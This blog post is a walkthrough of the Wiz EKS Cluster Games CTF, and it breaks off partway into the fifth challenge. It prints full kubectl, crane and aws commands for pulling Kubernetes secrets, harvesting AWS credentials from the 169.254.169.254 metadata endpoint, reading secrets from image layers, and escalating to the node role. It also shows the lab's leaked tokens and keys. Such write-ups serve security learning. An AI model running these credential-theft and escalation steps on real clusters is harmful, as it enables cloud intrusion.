Hi @all, welcome to my blog and today will talk about topic Cloud
and specify about Cloud Security
. With grow up and multi scale, Cloud
or Cloud Computing
is becoming the first options which refer for operating your system, orchestration system or security your infrastructure, that huge question about all. So via whistle by some contest of cloud security, i will refference platform which new release in month ago about aws
and cloud security
k8s
via CTF Platform. It called EKS Cluster Games
Link for participant: https://eksclustergames.com/
"Give a huge thanks for Wiz Team who are making a great challenge for community, bring more experience for us."
AWS
because this game is setup the situation which have misconfiguration with EKS
and vulnerable with that kind.kubectl
command because it will help you make a conservation with cluster EKSterminal
of this game, you need to understand crane
tool which used to dive into container. Go check for it in this git"That for all but moreover you need to understand the concept which make sure to grab all kind for solving the challenge. It is some alternative with do a brilliant thing with that game and give me idea to solving all challenge. Go check and drop the like for them"
Sumary: The game require you need to solving the 5 questions (challenges), it is about the misconfiguration in AWS, EKS (Kubernetes of AWS), Container, … Through the game it will be helped you on getting valuable experience
Description: "Jumpstart your quest by listing all the secrets in the cluster. Can you spot the flag among them?"
First for analysis, kubectl
will help you most of things in this challenge. Go and check it on cheetsheet of Kubernetes. I will brief of it to smart list down belown
# Auth command (List all role which you have in current context) [Important]
kubectl auth can-i --list
# Get command
kubectl get pods (Get all pods on default namespace)
kubectl get pods -n <namespace> (Get all pods on specify namespace)
kubectl get secrets (Get all secrets on default )
kubectl get secrets -n <namespace> (get all secrets on specifty namespace)
kubectl get pods -n <namespace> <name_of_pods> (Get specify pods)
kubectl get secrets -n <namespace> <name_of_secrets> (Get specify secrets)
kubectl get pods/secrets -n <namespace> <name_of_pod/name_of_secrets> -o <return_detail_in_format> (It can be json/yaml/wide,...)
So with auth
command or click on View Permission
you will have some roles
get
command to get secrets.List all secrets we got
log-rotate
it will include smt important. Go and check it with detail version
Get detail secrets and we got secrets
base64
and so try decrypt that and you will got the flag
Decrypt this with base64
echo d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ== | base64 -d
Flag: wiz_eks_challenge{omg_…privileged…}
Description: "A thing we learned during our research: always check the container registries. For your convenience, the crane
utility is already pre-installed on the machine."
So you have some command on first challenge with kubectl
, try to use that, but before start hosting has refer us something. Let separate that before diggest challenge
1. Container Registry (CR):
"As you know the container is built and stored on local machine via docker build
command. But for purpose easily delivery and most of people can use that, the solution is born and called Container Registry - It will set role like storage which contain image and layer of them"
Like my knowledge, Container Registry will set for 2 popular types, Public
and Private
public
type, that like image which can used by community and not have restricted - Not need credential, 2FA for access that and it totally free
for all users.private
type, the storage will need a credentials for access and get the image, it will create for using on bussiness or private project.Many CR is created and applied in community and commercial, so you can choose the suitable and try them out for more understand.
2. Layer Container - new concept of CTF and new vulnerable which consider
So when you build
image, you will see some cache
right, with this optional will help you build quickly and optimize the time on progressing because it will use the layer on old image and applied in new image.
Coincidentally vulnerables come from of that when you change the source code or file which secret and it not in .dockerignore
, you build it and attact on your layer but not wipe layer history. Therefore, your secrets will exposing, Hacker can reverse or dumping inside the layer of image to find that.
Some tools and articles which will refered to taking about that
docker history
- Command for showing the history of an imageSo be careful if you want to build important things with Docker
, Private of registry it is not except for all vulnerables and secrets leaking
That all kind of things which talk via second, so take a back to challenge and explain why i talk about the connection.
Check the permision or use k auth can-i --list
Yup, in this challenge we will role to list and get pods but just get secrets, so maybe it will have some connection between of that. Go checked
Get
and detail it if just only one. Result willGet
and output YAML
or json
to detail itselfapiVersion: v1
kind: Pod
metadata:
annotations:
kubernetes.io/psp: eks.privileged
pulumi.com/autonamed: "true"
creationTimestamp: "2023-11-01T13:32:05Z"
name: database-pod-2c9b3a4e
namespace: challenge2
resourceVersion: "12166896"
uid: 57fe7d43-5eb3-4554-98da-47340d94b4a6
spec:
containers:
- image: eksclustergames/base_ext_image
imagePullPolicy: Always
name: my-container
resources: {}
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
volumeMounts:
- mountPath: /var/run/secrets/kubernetes.io/serviceaccount
name: kube-api-access-cq4m2
readOnly: true
dnsPolicy: ClusterFirst
enableServiceLinks: true
imagePullSecrets:
- name: registry-pull-secrets-780bab1d
nodeName: ip-192-168-21-50.us-west-1.compute.internal
preemptionPolicy: PreemptLowerPriority
priority: 0
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
serviceAccount: default
serviceAccountName: default
terminationGracePeriodSeconds: 30
tolerations:
- effect: NoExecute
key: node.kubernetes.io/not-ready
operator: Exists
tolerationSeconds: 300
- effect: NoExecute
key: node.kubernetes.io/unreachable
operator: Exists
tolerationSeconds: 300
volumes:
- name: kube-api-access-cq4m2
projected:
defaultMode: 420
sources:
- serviceAccountToken:
expirationSeconds: 3607
path: token
- configMap:
items:
- key: ca.crt
path: ca.crt
name: kube-root-ca.crt
- downwardAPI:
items:
- fieldRef:
apiVersion: v1
fieldPath: metadata.namespace
path: namespace
status:
conditions:
- lastProbeTime: null
lastTransitionTime: "2023-11-01T13:32:05Z"
status: "True"
type: Initialized
- lastProbeTime: null
lastTransitionTime: "2023-12-07T19:54:26Z"
status: "True"
type: Ready
- lastProbeTime: null
lastTransitionTime: "2023-12-07T19:54:26Z"
status: "True"
type: ContainersReady
- lastProbeTime: null
lastTransitionTime: "2023-11-01T13:32:05Z"
status: "True"
type: PodScheduled
containerStatuses:
- containerID: containerd://8010fe76a2bcad0d49b7d810efd7afdecdf00815a9f5197b651b26ddc5de1eb0
image: docker.io/eksclustergames/base_ext_image:latest
imageID: docker.io/eksclustergames/base_ext_image@sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623
lastState:
terminated:
containerID: containerd://b427307b7f428bcf6a50bb40ebef194ba358f77dbdb3e7025f46be02b922f5af
exitCode: 0
finishedAt: "2023-12-07T19:54:25Z"
reason: Completed
startedAt: "2023-11-01T13:32:08Z"
name: my-container
ready: true
restartCount: 1
started: true
state:
running:
startedAt: "2023-12-07T19:54:26Z"
hostIP: 192.168.21.50
phase: Running
podIP: 192.168.12.173
podIPs:
- ip: 192.168.12.173
qosClass: BestEffort
startTime: "2023-11-01T13:32:05Z"
So with Get
result, you will have bunch of things to analysis like:
docker.io/eksclustergames/base_ext_image:latest
- it is image which set for container, tag latest
and 100% ensure that is private registry, so i think we need the credential for pull or play with itspec.imagePullSecrets
when pull image from private registry-pull-secrets-780bab1d
First off all with imagePullSecrets
, we know about the secrets existence but we can't list but get is worked. Therefore, try Get
that Secrets
k get secrets registry-pull-secrets-780bab1d -o json
and we will get base64
strings decode that you will have the docker credential
{"auths": {"index.docker.io/v1/": {"auth": "ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw=="}}}
As you know, It is the docker PAT (Personal Access Token) and it will save in .docker/config.json
which used to providing the docker engine can pull image from there.
Like a said above, inside this shell machine (pod) has included crane
like docker-cli
. With this tool, you can make some helpful thing like
Yup, Let go to the auth and try login with credentials above
Decode the base64 on auth
key:
eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo
Login with crane auth
with this token
crane auth login -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo index.docker.io
crane
and export itself to layer which you want to diggestcrane pull docker.io/eksclustergames/base_ext_image lastest # Pull the image to machine
crane ls docker.io/eksclustergames/base_ext_image # Check the version/tags of image
Yup, all kinds is prepared enough for export the layer of image. Go to crane export
for reach the flag
crane export docker.io/eksclustergames/base_ext_image:latest challenge2.tar
Notice:
You need to decompress .tar
for information, but it will compress more than one things (messy if decompress with no setting up). Create that a directory and put all kind inside.
.tar
file is not gzip
format, if optionals -z
used, it will fail. Therefor, you just use -xf
in this situation LOL and you will get the thing you want.
mkdir -p /tmp/chal2
tar -xf challenge2.tar --directory /tmp/chal2
Don'y worry, it will log some error but not important, go to directory and check what thing we got (GOD)
Ahha, the image is easily which just one layer for GOD SAVE, you need cat flag.txt
and result is be returned
Flag: wiz_eks_challenge{nothing_can_be_said_****_imagepullsecret}
This case was tough things, the real event is occured and secrets exposing. Be careful when doing the layer cached
Description: A pod's image holds more than just code. Dive deep into its ECR repository, inspect the image layers, and uncover the hidden secret. Remember: You are running inside a compromised EKS pod.
For your convenience, the crane utility is already pre-installed on the machine.
About this challenge, you will do specify CR of cloud, this can be best but if not the leakage will have change to occuring. ECR (Elastic Container Registry) which CR of AWS, The EKS will used that for container. Diggest and we will get the flag
First, you auth
for list what permission we got
Nothing special, just get list
with pods and no secrets is hiding. Go and check the pod which contain some special.
kubectl get pods # list all
kubectl get pods accounting-pod-876647f8 -o json # Specify the pod
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"annotations": {
"kubernetes.io/psp": "eks.privileged",
"pulumi.com/autonamed": "true"
},
"creationTimestamp": "2023-11-01T13:32:10Z",
"name": "accounting-pod-876647f8",
"namespace": "challenge3",
"resourceVersion": "12166911",
"uid": "dd2256ae-26ca-4b94-a4bf-4ac1768a54e2"
},
"spec": {
"containers": [
{
"image": "688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01",
"imagePullPolicy": "IfNotPresent",
"name": "accounting-container",
"resources": {},
"terminationMessagePath": "/dev/termination-log",
"terminationMessagePolicy": "File",
"volumeMounts": [
{
"mountPath": "/var/run/secrets/kubernetes.io/serviceaccount",
"name": "kube-api-access-mmvjj",
"readOnly": true
}
]
}
],
"dnsPolicy": "ClusterFirst",
"enableServiceLinks": true,
"nodeName": "ip-192-168-21-50.us-west-1.compute.internal",
"preemptionPolicy": "PreemptLowerPriority",
"priority": 0,
"restartPolicy": "Always",
"schedulerName": "default-scheduler",
"securityContext": {},
"serviceAccount": "default",
"serviceAccountName": "default",
"terminationGracePeriodSeconds": 30,
"tolerations": [
{
"effect": "NoExecute",
"key": "node.kubernetes.io/not-ready",
"operator": "Exists",
"tolerationSeconds": 300
},
{
"effect": "NoExecute",
"key": "node.kubernetes.io/unreachable",
"operator": "Exists",
"tolerationSeconds": 300
}
],
"volumes": [
{
"name": "kube-api-access-mmvjj",
"projected": {
"defaultMode": 420,
"sources": [
{
"serviceAccountToken": {
"expirationSeconds": 3607,
"path": "token"
}
},
{
"configMap": {
"items": [
{
"key": "ca.crt",
"path": "ca.crt"
}
],
"name": "kube-root-ca.crt"
}
},
{
"downwardAPI": {
"items": [
{
"fieldRef": {
"apiVersion": "v1",
"fieldPath": "metadata.namespace"
},
"path": "namespace"
}
]
}
}
]
}
}
]
},
"status": {
"conditions": [
{
"lastProbeTime": null,
"lastTransitionTime": "2023-11-01T13:32:10Z",
"status": "True",
"type": "Initialized"
},
{
"lastProbeTime": null,
"lastTransitionTime": "2023-12-07T19:54:29Z",
"status": "True",
"type": "Ready"
},
{
"lastProbeTime": null,
"lastTransitionTime": "2023-12-07T19:54:29Z",
"status": "True",
"type": "ContainersReady"
},
{
"lastProbeTime": null,
"lastTransitionTime": "2023-11-01T13:32:10Z",
"status": "True",
"type": "PodScheduled"
}
],
"containerStatuses": [
{
"containerID": "containerd://665178aaf28ddd6d73bf88958605be9851e03eed9c1e61f1a1176a69719191f2",
"image": "sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f3",
"imageID": "688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01",
"lastState": {
"terminated": {
"containerID": "containerd://c465d5104e6f4cac49da0b7495eb2f7c251770f8bf3ce4a1096cf5c704b9ebbe",
"exitCode": 0,
"finishedAt": "2023-12-07T19:54:28Z",
"reason": "Completed",
"startedAt": "2023-11-01T13:32:11Z"
}
},
"name": "accounting-container",
"ready": true,
"restartCount": 1,
"started": true,
"state": {
"running": {
"startedAt": "2023-12-07T19:54:29Z"
}
}
}
],
"hostIP": "192.168.21.50",
"phase": "Running",
"podIP": "192.168.5.251",
"podIPs": [
{
"ip": "192.168.5.251"
}
],
"qosClass": "BestEffort",
"startTime": "2023-11-01T13:32:10Z"
}
}
After detailing the pod, you need to consider some information which contain inside the pod
sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f
not tagged specify and instead of by hash
string, next step we can use that688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
, the image ID will tell us about ECR
used for location store the image and different hash
between imageID and image. Guessing about two layer of image is contain and you need to reverse that for getting the flagBack to description, they talk about AWS
and Pod running inside EKS
which the Kubernetes Engineer created by AWS for managing cluster and orchestration via Cloud. So we need to get acquainted with AWS Cloud
With AWS
or another cloud which i know like Azure, GCP (Not pretty sure) which contain something call URL metadata
, you can access this for getting helpful about the account like credential, ECR configuration of account for example.
With GCP, I am not confirmed that right but Azure
and AWS
it does here and pod running inside EKS
so that can easily call that URL for get metadata. So try with me
curl http://169.254.169.254/latest/meta-data/
All kind of metada is existed and anykind you need to consider is IAM
which identity management of cloud (Both of Azure and AWS). So list that and find out the IAM role we need to access
curl http://169.254.169.254/latest/meta-data/iam/<directory-iam>
Some helpful crendital of AWS is exposing and here is it
{"AccessKeyId":"ASIA2AVYNEVM7LLHJC2V","Expiration":"2023-12-10 04:30:16+00:00","SecretAccessKey":"ZxIC94Ekm4+eX8tm5zSHbpApLvzm/G3+GyCgzF0m","SessionToken":"FwoGZXIvYXdzEI3//////////wEaDEAvpfk8375M3maNQCK3AVlbZuOTnfAyC0GkNvtS9pK60NAzkjtwIJGSsr1D8EfSXeMkk+jiMlv17z13UiZAMaXiQqAhoWAfFfdXkFyLUzSkl+Lc6mKwKQXkumavQ6vHIKnF8+B1NE5UyrdSSJCrhs8ILVIJKJMWO/jMU5jGaajj+9AEktmSSXe/Rgdcquhho93dV4JAsdF4+Zz/KWiMYxehdSv/mvD7YT9iBf33LHwqPzgsP+54tcm+jS8xYUVKf/HGnNPxQSjI4dSrBjItUwyFE2tekBT4KjIKFT+SFfUn5OgE5gaM4VKWGmqiC3smwUYUkyP/W3tvTF9l"}
So that is important things when you managing AWS
and with that cloud you have so many kind to access and identify yourself to accessing resources. About this kind AWS
is better than Azure
but like i know it have reason so talk about on another session.
About the AWS you need to read this Configure the AWS CLI with situation Azure is harder you can read than in Sign in with Azure CLI
Back to challenge you have AccessKeyId SecretAccessKey SessionToken
and CLI can authentication with variables via environment (Easily exploiting and dangerous if misconfiguration). Go and check that via Environment variables to configure the AWS CLI. Therefore, export above to env and aws will do the others
export AWS_ACCESS_KEY_ID=ASIA2AVYNEVM7LLHJC2V
export AWS_SECRET_ACCESS_KEY=ZxIC94Ekm4+eX8tm5zSHbpApLvzm/G3+GyCgzF0m
export AWS_SESSION_TOKEN="FwoGZXIvYXdzEI3//////////wEaDEAvpfk8375M3maNQCK3AVlbZuOTnfAyC0GkNvtS9pK60NAzkjtwIJGSsr1D8EfSXeMkk+jiMlv17z13UiZAMaXiQqAhoWAfFfdXkFyLUzSkl+Lc6mKwKQXkumavQ6vHIKnF8+B1NE5UyrdSSJCrhs8ILVIJKJMWO/jMU5jGaajj+9AEktmSSXe/Rgdcquhho93dV4JAsdF4+Zz/KWiMYxehdSv/mvD7YT9iBf33LHwqPzgsP+54tcm+jS8xYUVKf/HGnNPxQSjI4dSrBjItUwyFE2tekBT4KjIKFT+SFfUn5OgE5gaM4VKWGmqiC3smwUYUkyP/W3tvTF9l"
And done, you need to reach ECR credential for access and pull the image. Go and check the some command to interact with ECR
in documentation
aws ecr get-login-password
eyJwYXlsb2FkIjoieE9iVWZnY3lNejRVUVdkVzQ3M3FVMjliMDZwQUdHNUxUSWdBcHM1bEJMOHN3eG1PUnVWNHZ4ZWFIRnoxQ0ZNMUw2Q2t3S09mOHN5UXdXaWJUSTRRQUYvRjdZSUtjTmg0UWlxWXZ5cS82eW9UdGFKOWwrbVVmOXdEaUk4ZmRncnVpYldxZHVVZ1ZhSTNKZlRFUklWT1Z6NzVCOXAzSVhrVXRNeFJrYzZUb1ZZK1BORVg3WUVwbUI0RlozOU8vLzhRd1VmYUpFNm0waVI5UGVneGcyOXRWZE9OSTBzVWh3ZlE0UUZ2WHAybzZPK3F3ZG5mMFlDdUZaNnFsNTlHMUhicjBEaGkycFlpK1k0UUxjcFZlQTJlT0svMzVWdHBSNEYwU2Mxd1lINHg2Vmx6bWFRWmMvV3hFeEVYeStxRENHR0ovd0xQWG9PblpBRWY4R3lTa0xlN0pTRVhETTF1a09ZV2tRaVFiOWVNY1JhOUgxVDJqZi9sOTd2MXRwaGFhUjBES2FDS3d5TFQvSjJZc1k5Z2tzb0twSDNBT2t5cm4xZVlMRU5xQmpZeDZscDVLU25RK0lDT0E2RDhyKzZac1hJdWxNQkQvY0x5MktwYXlUcVFEdWkva2c5L1NsUm05RkVySXR1dlVMbFZWQ1JqYUYzcngwTndmUUNEbXQ4SCtNbVpBWG0rNElZZ241SGVxaDR4KzduYjhpQzVqRFVLVEplMnorWGJ2Rm9NN3VBdjlETyt2MHZ4MDhYbnk0WStqNEszajhmTXJWVW9YcXl3b0E4M2hoVmhOL3p0SHZYd2U2YWo4Y08rU1dtMUhycytwcXNDK213WVk0TnRjS09xL2ZVU1ZsUDMvQk9HQzhPeUpWQnRHUXZsMmdjNEl2dTZuam9QUnA4aml5a05scFJpMTRhQmtFRjZRakh1VkxrVW1xYXRBNDVITXM4bExpN3pBeHBPZVFCbUQvY0U1Zjd0eWo4bURDZkRrWU9STU94VlZFbzE4ZjBWa0dxcit5Ym93VldHbzBHNUtiN1l2dzlCcEtFVTM5aTAzY1R1NjZQUUI1UUVPU0t5VENKaG02cTdoZERCQjdTZGhONldvWkJTTWI4VE1UczVKa0dsdmRzRzNaU0UzTHNjcUpXcHR0OHRrbW94K0pXUFVUOGtiZmhFTy8vMnZ6MXZkN2ZkMC9oUk5rUENvUEl0Z1VhOXpnMUhzU21INFNPWDkrYUNablQwL2RTZE5JSHhha0NhSHZqNHltbjU0MmlFaGl4S3lpQ2VOTURIYURlQmdua3hNWmMwQnZDaC8wT2FFNlV5YVJKMGpVcUhsNGdSN2JxOVUraVpEb1dJeFNIQnhNZEF6K3FmVXpja3g3VWJyMWJGakxmREQ1ME9rK0dxaXlJemYybkJySStSa2oyVVlUeGdQQko3RWU0dzE3SUtLN0dHbFlwZmlkQm9VY1haVGhrTVUxREhTQ3h1elJidW8rUnQvdDlNVkVyTzV6SXRYZVAwdXdkbmMxQUZUdWFHS0J4RmxDVzg4WmlDTE4yZ1RLNkJTeEVyNStlSnJ5K1JHMm1MR2ZHQjlLZlBHUWt0aTdobWpJN3FyUjdPMHYrOFVkMVFLbzNLYlI1b1lzMS9YeUhJR3ZpWk9sR2VLV09kaTMwQnNtUG9FRlViUVdleUV0emJIS2tvTDgvUHh0eUlnSXoyVmJpSkZQUmVKOE56SkhwV3JScTBRelBieGtDSmJXQXFZcnhjWU5RYzQxRFdpYjg9IiwiZGF0YWtleSI6IkFRRUJBSGlqRUZYR3dGMWNpcFZPYWNHOHFSbUpvVkJQYXk4TFVVdlU4UkNWVjBYb0h3QUFBSDR3ZkFZSktvWklodmNOQVFjR29HOHdiUUlCQURCb0Jna3Foa2lHOXcwQkJ3RXdIZ1lKWUlaSUFXVURCQUV1TUJFRURCS09nellsc3hUeDAxcW40QUlCRUlBN2Q0ck1nUmpBVERMTUhTRHRjYmRVQ0cyWnBFRVlLNVE4RHloUWFGQUhibHFpTkZKTUV0TmJZNE1xUklkOUFFdnZlVENXNENpMktBbjkvLzA9IiwidmVyc2lvbiI6IjIiLCJ0eXBlIjoiREFUQV9LRVkiLCJleHBpcmF0aW9uIjoxNzAyMjIzMjE3fQ==
That cred return is on JWT token so you can decrypt that and findout the password and put that on crane auth
But how about the username, When i searching that the result return about the situation via documentaion. In this situation, via IAM you can access to default registry and just put username is AWS
(IDK why but it will work)
aws ecr get-login-password | crane auth login -u AWS --password-stdin 688655246681.dkr.ecr.us-west-1.amazonaws.com
Yup, enough thing to pull image and diggest to layer
crane pull 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
With above command the error will return the you need to find out via ls to pull or diggest to image
crane ls 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c
374f28d8-container
Your image will label by tag 374f28d8-container
, ensuring that by export that and analysis the layer of that, remember create directory for ignoring messy
mkdir -p /tmp/chal3
crane export 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c:374f28d8-container > challenge3.tar
tar -xf challenge3.tar --directory /tmp/chal3
But i think a layer is not the expected, we want so need to use another image layer again. Use crane digest
is can be expected to resolving the problem by list all layer on container but it just include only one hash layer. Expected find out the way to logging for all layer and changing inside
Something i missed, so let find out on Youtube channel i post above (IDK what is missed) and i find what i missing. Crane
tools can export or with hash string append with format
crane export <repo>:<tag>@<hash_string> > name.tar
crane pull <repo>:<tag>@<hash_string> name.tar
Therefore, try again with pull
command to find out the has string contain because image: sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f3
is not exposing and with a pull and export it to tar
, it will findout something
crane pull 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c:374f28d8-container@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01 challenge3.tar
tar -xf challenge3.tar --directory /tmp/chal3/
With tar.gz, try to decompress it but not have interesting. So try cat
text find and another secrets is exposing with us
[{"Config":"sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f3","RepoTags":["688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c:i-was-a-digest"],"Layers":["3f4d90098f5b5a6f6a76e9d217da85aa39b2081e30fa1f7d287138d6e7bf0ad7.tar.gz","e7310b04c944c3e0bbb9ebc04b885dc7ad937061e0dc77c73449ef133eab4fd9.tar.gz"]}]
That is explain why we so hard to findout the way to understanding this image, Image hash sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f3
which need to find is including in tag i-was-a-digest
, need to guest but with crane and ImageID
which we got, the hiding layer is exposing. So another file is Image hash
, cat
and flag is inside that
{"architecture":"amd64","config":{"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"],"Cmd":["/bin/sleep","3133337"],"ArgsEscaped":true,"OnBuild":null},"created":"2023-11-01T13:32:07.782534085Z","history":[{"created":"2023-07-18T23:19:33.538571854Z","created_by":"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / "},{"created":"2023-07-18T23:19:33.655005962Z","created_by":"/bin/sh -c #(nop) CMD [\"sh\"]","empty_layer":true},{"created":"2023-11-01T13:32:07.782534085Z","created_by":"RUN sh -c #ARTIFACTORY_USERNAME=challenge@eksclustergames.com ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_****_to_the_future} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit","comment":"buildkit.dockerfile.v0"},{"created":"2023-11-01T13:32:07.782534085Z","created_by":"CMD [\"/bin/sleep\" \"3133337\"]","comment":"buildkit.dockerfile.v0","empty_layer":true}],"os":"linux","rootfs":{"type":"layers","diff_ids":["sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f","sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5"]}}
Flag: wiz_eks_challenge{the_history_of_****_to_the_future}
So i will tried another method, can it easily or not because with crane
, It like tricky and hard to findout all theory of author.
Another tool, i recommend dive
is can be better on this situation
We will do again from export step in your shell with instaling dive aws-cli docker-cli
and pull the image, dive into
docker pull 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c:374f28d8-container
dive 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c:374f28d8-container
Easily way than used crane
Although It can be caused by my slow to find out the syntax but the Flag is reveal.
Conclusion: IMDS need to be securing, exposing the way to reach that is too dangerous, your secrets will be leakage. Please stay safe
Description: You're inside a vulnerable pod on an EKS cluster. Your pod's service-account has no permissions. Can you navigate your way to access the EKS Node's privileged service-account?
First of all, list permission withauth
or button on website for get role you get
So did't have anything, so i think in this situation you will find out way to priviledge via AWS for example and set the service account
to get secrets. You can take a look itself because something is adding in user
directory drwxr-xr-x 3 root root 51 Dec 10 06:28 .kube
. When you cat config
file in this directory, Token which configured for EKS is leakage
apiVersion: v1
clusters:
- cluster:
certificate-authority: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
server: https://10.100.0.1
name: localcfg
contexts:
- context:
cluster: localcfg
namespace: challenge4
user: user
name: localcfg
current-context: localcfg
kind: Config
preferences: {}
users:
- name: user
user:
token: eyJhbGciOiJSUzI1NiIsImtpZCI6IjJiOWJkZDViNzk2YTc1NTM2NWVhN2IxZTE1N2NmNTU4NmVmOTgyNDYifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjIl0sImV4cCI6MTcwMjE5MzI5MSwiaWF0IjoxNzAyMTg5NjkxLCJpc3MiOiJodHRwczovL29pZGMuZWtzLnVzLXdlc3QtMS5hbWF6b25hd3MuY29tL2lkL0MwNjJDMjA3QzhGNTBERTRFQzI0QTM3MkZGNjBFNTg5Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJjaGFsbGVuZ2U0Iiwic2VydmljZWFjY291bnQiOnsibmFtZSI6InNlcnZpY2UtYWNjb3VudC1jaGFsbGVuZ2U0IiwidWlkIjoiYWQ0NDg0OGQtN2I4ZC00Y2MxLThlMzAtNWIyM2M5YTUyYzQwIn19LCJuYmYiOjE3MDIxODk2OTEsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjaGFsbGVuZ2U0OnNlcnZpY2UtYWNjb3VudC1jaGFsbGVuZ2U0In0.JiWYxTPUZjaFKw3EfWOIfrMvT9pF1aa2LMMoSTBOWyu8kRcSVVD8nG_nwE7esSriwUppUCN3QKaUBGE-2ikAbpVaO8nNIFj7AP49Wo6OGKfyFeIE6YH4BC386x86wdeONh9ldvNEMmjEZMDXOMRQmiALxYkq7mn2phpLh8R-FHrGpuyyQb_QYoJPMwGaJSEu1K8agQLym70TZlNnSD38_bNYVGb3agRDRTp_Cwz_dYVzfenWtt68_Zyz55OPyE5JzC3Xpwt4jNlnrF313Ckv2WWvIDGgEswz7AAUVNJkkOAPcW8J9jaUwy8xL6P3F1oOhNsK-y8jqYrosB8-FLskHQ
Token of EKS is on JWT
format so decrypt and analysis it.
You have something interesting thing like
system:serviceaccount:challenge4:service-account-challenge4
https://oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589
That all and you need to find the way to assign or change role for yourself to can digest more thing with EKS. Find some command aws-cli
and try to change themself and eks get-token
is need to using
aws eks get-token --cluster-name <name>
In situation, you have the something in context
or ~/.kube/config
like cluster: localcfg
, it can be a name of cluster. Therefore, try to put that above command and use kubectl have offer the --token
flag which is not popular used on my experience but it will work so try with me
export TOKEN=$(aws eks get-token --cluster-name localcfg | jq '.status.token')
kubectl get pods --token $TOKEN
error: You must be logged in to the server (Unauthorized)
Something wrong, maybe a reason come from token is not right, so the eks-cluster-name
is wrong and make unauthorized. The tricky is making us guessing but through solving write up, i find out the right cluster name can be come from IDMS
And the cluster base on the curl
command or aws sts get-caller-identity
. Explain it on this documentation
aws sts get-caller-identity
{
"UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282",
"Account": "688655246681",
"Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282"
}
--> Real name cluster: eks-challenge-cluster
Repeat the task above for get token with real name
export TOKEN=$(aws eks get-token --cluster-name eks-challenge-cluster | jq -r '.status.token') # -r flag will remove double quote
kubectl get pods --token $TOKEN
No resources found in challenge4 namespace.
Try with secrets for findout what hidden
kubectl get secrets --token $TOKEN
NAME TYPE DATA AGE
node-flag Opaque 1 38d
kubectl get secrets node-flag --token $TOKEN -o json | jq -r '.data.flag' | base64 -d
wiz_eks_challenge{only_a_real_pro_****_to_EKS_congrats}
Flag: wiz_eks_challenge{only_a_real_pro_****_to_EKS_congrats}
Conclusion: This challenge like i think have some tricky but it make you understood why we need to right configuration for restrict IMDS
, It will exposing for all thing if not have consider to enfore restricted IMDS
Description: You've successfully transitioned from a limited Service Account to a Node Service Account! Great job. Your next challenge is to move from the EKS to the AWS account. Can you acquire the AWS role of the s3access-sa service account, and get the flag?
The final challenge, first of all need to check something what we got auth
and permission
IAM
Trust Policy
Permission
So with that permission, all kind of service in EKS can get list
and you can create serviceaccounts for yourself. Let find out with some basic command
> kubectl get pods
No resources found in challenge5 namespace
> kubectl get secrets
No resources found in challenge5 namespace
> kubectl get serviceaccount
NAME SECRETS AGE
debug-sa 0 39d
default 0 39d
s3access-sa 0 39d
As you can see, third serviceaccount
is exist and detail that to find out what should we need
{
"apiVersion": "v1",
"items": [
{
"apiVersion": "v1",
"kind": "ServiceAccount",
"metadata": {
"annotations": {
"description": "This is a dummy service account with empty policy attached",
"eks.amazonaws.com/role-arn": "arn:aws:iam::688655246681:role/challengeTestRole-fc9d18e"
},
"creationTimestamp": "2023-10-31T20:07:37Z",
"name": "debug-sa",
"namespace": "challenge5",
